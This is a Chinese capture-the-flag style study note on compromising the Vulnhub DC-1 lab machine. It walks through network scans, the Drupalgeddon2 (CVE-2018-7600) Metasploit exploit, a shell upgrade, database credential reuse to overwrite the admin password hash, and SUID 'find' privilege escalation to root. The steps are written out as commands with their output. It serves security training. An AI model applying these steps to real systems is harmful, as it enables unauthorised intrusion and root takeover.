Vulnhub DC-1靶场学习笔记
0x00 环境准备
本文介绍了Vulnhub中DC-1靶机的实战渗透过程,实战的目标是获取到服务器中的5个flag,最终目标是获取到root目录下的thefinalflag文件:
测试环境 | 备注 |
---|---|
Kali | IP:192.168.100.100 |
DC-1 | 下载地址:https://www.vulnhub.com/entry/dc-1-1,292/ |
下载后解压,双击DC-1.vmx即可使用VMware开启靶机,开启后确保Kali和DC-1的网卡设置都为NAT模式。
0x01 信息收集
目标发现:
Ⅰ 使用arp-scan进行内网扫描:
┌──(rootkali)-[/home/kali]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:94:72:37, IPv4: 192.168.100.100
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.100.1 00:50:56:c0:00:08 VMware, Inc.
192.168.100.2 00:50:56:f9:e9:2f VMware, Inc.
192.168.100.134 00:0c:29:d3:d1:4f VMware, Inc.
192.168.100.254 00:50:56:e2:96:e6 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.933 seconds (132.44 hosts/sec). 4 responded
发现目标:192.168.100.134
Ⅱ 使用nmap进行内网扫描:
┌──(rootkali)-[/home/kali]
└─# nmap -sP 192.168.100.100/24
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-26 10:22 CST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.100.1
Host is up (0.00024s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.100.2
Host is up (0.00038s latency).
MAC Address: 00:50:56:F9:E9:2F (VMware)
Nmap scan report for 192.168.100.134
Host is up (0.00022s latency).
MAC Address: 00:0C:29:D3:D1:4F (VMware)
Nmap scan report for 192.168.100.254
Host is up (0.00037s latency).
MAC Address: 00:50:56:E2:96:E6 (VMware)
Nmap scan report for 192.168.100.100
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.08 seconds
Ⅲ 使用masscan进行内网扫描:
┌──(rootkali)-[/home/kali]
└─# masscan --ping 192.168.100.100/24
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-01-26 02:30:00 GMT
Initiating ICMP Echo Scan
Scanning 256 hosts
Discovered open port 0/icmp on 192.168.100.134
Discovered open port 0/icmp on 192.168.100.2
发现目标后进行进一步的信息获取:
使用masscan对目标192.168.100.134
进行端口扫描:
┌──(rootkali)-[/home/kali]
└─# masscan 192.168.100.134 -p0-65535 --rate=10000
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-01-26 02:34:40 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 80/tcp on 192.168.100.134
Discovered open port 111/tcp on 192.168.100.134
Discovered open port 44077/tcp on 192.168.100.134
使用nmap对开放的端口进行更详细的端口信息扫描:
┌──(rootkali)-[/home/kali]
└─# nmap -p 80,111,44077 -A 192.168.100.134
通过nmap的扫描发现其80端口开放着Drupal 7的HTTP服务,111端口是rpcbind服务
0x02 通过MSF获取flag1
通过百度搜索Drupal 7可以查询到Drupal 7.x 存在代码执行漏洞,漏洞编号为CVE-2018-7600 ,在kali输入msfconsole进入MSF控制台,通过search命令查找CVE-2018-7600 的漏洞信息:
在控制台输入use exploit/unix/webapp/drupal_drupalgeddon2
使用该模块,通过show options
查看需要设置的参数:
此处只需设置rhosts为DC-1即可:set rhost 192.168.100.134
,设置完成后使用exploit
对靶机进行攻击,成功连接到DC靶机并发现flag1:
使用cat命令读取flag1.txt的内容发现flag2的线索:
0x03 查找配置文件发现flag2
通过对站点目录进行查找,在/var/www/sites/default
目录发现settings.php
配置文件,从配置文件中获取到两条关于flag3的重要信息:
0x04 重置数据库密码得到flag3
Drupal数据库中存储的密码散列由自带的password-hash.sh生成,进入脚本目录/var/www/
使用php ./scripts/password-hash.sh admin
生成密码为admin的散列,在此之前需要生成DC-1的交互shell:
meterpreter > shell
python -c "import pty;pty.spawn('/bin/bash')"
生成密码散列:
www-data@DC-1:/var/www$ php ./scripts/password-hash.sh admin
php ./scripts/password-hash.sh admin
password: admin hash: $S$D9/JDc1I/3gkUftK3oHmHkkPHvYS4.UUIr7oXKgC6LPyGW13OOJY
通过之前获取到的数据库账号密码进入数据库,通过查询得知用户的信息存储在drupaldb数据库里的users表中,密码的字段为pass:
mysql -udbuser -pR0ck3t
mysql> use drupaldb;
use drupaldb;
Database changed
mysql> select uid,name,pass from users;
select uid,name,pass from users;
+-----+-------+---------------------------------------------------------+
| uid | name | pass |
+-----+-------+---------------------------------------------------------+
| 0 | | |
| 1 | admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |
| 2 | Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |
| 3 | user | $S$DS3sDdTXVdMk68Xca2Dfcup7ciXU/wWQQhSHydK5bw0uivVh5ejb |
+-----+-------+---------------------------------------------------------+
4 rows in set (0.00 sec)
更新admin的密码字段:
update users set pass="$S$D9/JDc1I/3gkUftK3oHmHkkPHvYS4.UUIr7oXKgC6LPyGW13OOJY" where name="admin";
浏览器端访问DC-1的Web服务,使用admin/admin直接登录,点击Dashboard得到flag3:
获得flag4 ,thefinalflag的线索:
0x05 使用find命令查找取得flag4
在shell中输入find / -name "flag*"
搜索flag文件:
www-data@DC-1:/var/www$ find / -name "flag*"
find / -name "flag*"
/home/flag4
/home/flag4/flag4.txt
/var/www/flag1.txt
/usr/src/linux-headers-3.2.0-6-686-pae/include/config/zone/dma/flag.h
/usr/share/doc/tk8.5/examples/images/flagdown.xbm
/usr/share/doc/tk8.5/examples/images/flagup.xbm
/usr/include/X11/bitmaps/flagdown
/usr/include/X11/bitmaps/flagup
/usr/lib/gcc-4.9-backport/lib/gcc/i486-linux-gnu/4.9/plugin/include/flags.h
/usr/lib/gcc-4.9-backport/lib/gcc/i486-linux-gnu/4.9/plugin/include/flag-types.h
/usr/lib/perl/5.14.2/auto/POSIX/SigAction/flags.al
/sys/devices/virtual/net/lo/flags
/sys/devices/pci0000:00/0000:00:11.0/0000:02:01.0/net/eth0/flags
读取/home/flag4/flag4.txt
获得thefinalflag的线索:
0x06 SUID提权获取thefinalflag
suid可以让调用者以文件拥有者的身份运行该文件,运行root用户所拥有的suid的文件,那么运行该文件的时候就是root用户的身份。常用的suid提权指令:
nmap vim find bash more less nano cp
下列命令可以查找在系统上运行的所有suid可执行文件:
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
在DC-1的shell查找suid可执行文件:
www-data@DC-1:/var/www$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
/usr/sbin/exim4
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/sbin/mount.nfs
/usr/bin/find
即find
命令具有suid权限,提权得到root权限并获取到thefinalflag:
find / -exec "/bin/sh" \;
Vulnhub DC-1靶场学习笔记的更多相关文章
- react-native学习笔记--史上最详细Windows版本搭建安装React Native环境配置
参考:http://www.lcode.org/react-native/ React native中文网:http://reactnative.cn/docs/0.23/android-setup. ...
- Oracle学习笔记三 SQL命令
SQL简介 SQL 支持下列类别的命令: 1.数据定义语言(DDL) 2.数据操纵语言(DML) 3.事务控制语言(TCL) 4.数据控制语言(DCL)
- STM32学习笔记——OLED屏
STM32学习笔记--OLED屏 OLED屏的特点: 1. 模块有单色和双色可选,单色为纯蓝色,双色为黄蓝双色(本人选用双色): 2. 显示尺寸为0.96寸 3. 分辨率为128*64 4. ...
- VSTO学习笔记(四)从SharePoint 2010中下载文件
原文:VSTO学习笔记(四)从SharePoint 2010中下载文件 上一次我们开发了一个简单的64位COM加载项,虽然功能很简单,但是包括了开发一个64位COM加载项的大部分过程.本次我们来给CO ...
- Asp.net core 2.0.1 Razor 的使用学习笔记(五)
按说这里应该写关于Role角色类的笔记,但是我还没时间实验这块,所以等以后我搞定了再来分享.现在先写其他部分. Asp.net core 2.0.1 Razor 的使用学习笔记——建立模型 按照微软官 ...
- ARMV8 datasheet学习笔记3:AArch64应用级体系结构
1.前言 本文主要从应用的角度介绍ARMV8的编程模型和存储模型 2. AArch64应用级编程模型 从应用的角度看到的ARM处理器元素: 可见的元素(寄存器/指令) 说明 可见的寄存器 R0-R30 ...
- 学习笔记(一)--->《Java 8编程官方参考教程(第9版).pdf》:第一章到六章学习笔记
注:本文声明事项. 本博文整理者:刘军 本博文出自于: <Java8 编程官方参考教程>一书 声明:1:转载请标注出处.本文不得作为商业活动.违者本人不负法律责任.违法者自负一切法律责任. ...
- 【整理】HTML5游戏开发学习笔记(5)- 猜谜游戏
距上次学习笔记已有一个多月过去了,期间由于新项目赶进度,以致该学习计划给打断,十分惭愧.书本中的第六章的例子相对比较简单.所以很快就完成. 1.预备知识html5中video标签的熟悉 2.实现思路对 ...
- 23 DesignPatterns学习笔记:C++语言实现 --- 1.2 AbstractFactory
23 DesignPatterns学习笔记:C++语言实现 --- 1.2 AbstractFactory 2016-07-21 (www.cnblogs.com/icmzn) 模式理解
随机推荐
- 【LeetCode】1101. The Earliest Moment When Everyone Become Friends 解题报告 (C++)
作者: 负雪明烛 id: fuxuemingzhu 个人博客:http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 并查集 日期 题目地址:https://leetcod ...
- 【LeetCode】969. Pancake Sorting 解题报告(Python & C++)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 模拟法 日期 题目地址:https://leetco ...
- 【LeetCode】730. Count Different Palindromic Subsequences 解题报告(Python)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 记忆化搜索 动态规划 日期 题目地址:https:/ ...
- 【LeetCode】914. X of a Kind in a Deck of Cards 解题报告(Python & C++)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 遍历 最大公约数 日期 题目地址: https:// ...
- 【LeetCode】861. Score After Flipping Matrix 解题报告(Python & C++)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 日期 题目地址:https://leetcode.c ...
- D. Puzzles(Codeforces Round #362 (Div. 2))
D. Puzzles Barney lives in country USC (United States of Charzeh). USC has n cities numbered from 1 ...
- 食物链(poj1182)
食物链 Time Limit: 1000MS Memory Limit: 10000K Total Submissions: 57387 Accepted: 16781 Description ...
- Adversarial Examples Improve Image Recognition
Xie C, Tan M, Gong B, et al. Adversarial Examples Improve Image Recognition.[J]. arXiv: Computer Vis ...
- CS5218DP转HDMI转接方案|CS5218说明|CS5218
Capstone CS5218是一款单端口HDMI/DVI电平移位器/中继器,具有重新定时功能.它支持交流和直流耦合信号高达3.0-Gbps的操作与可编程均衡和抖动清洗.它包括2路双模DP电缆适配器寄 ...
- Python升级至2.7方法
在Linux下Python升级至2.7的详细步骤方法, 此处的升级,使用的是全新安装新版本,替换旧版本的方法, 同时新旧版本可以共存,将默认python指向最新2.7版本即可. 1.下载Python- ...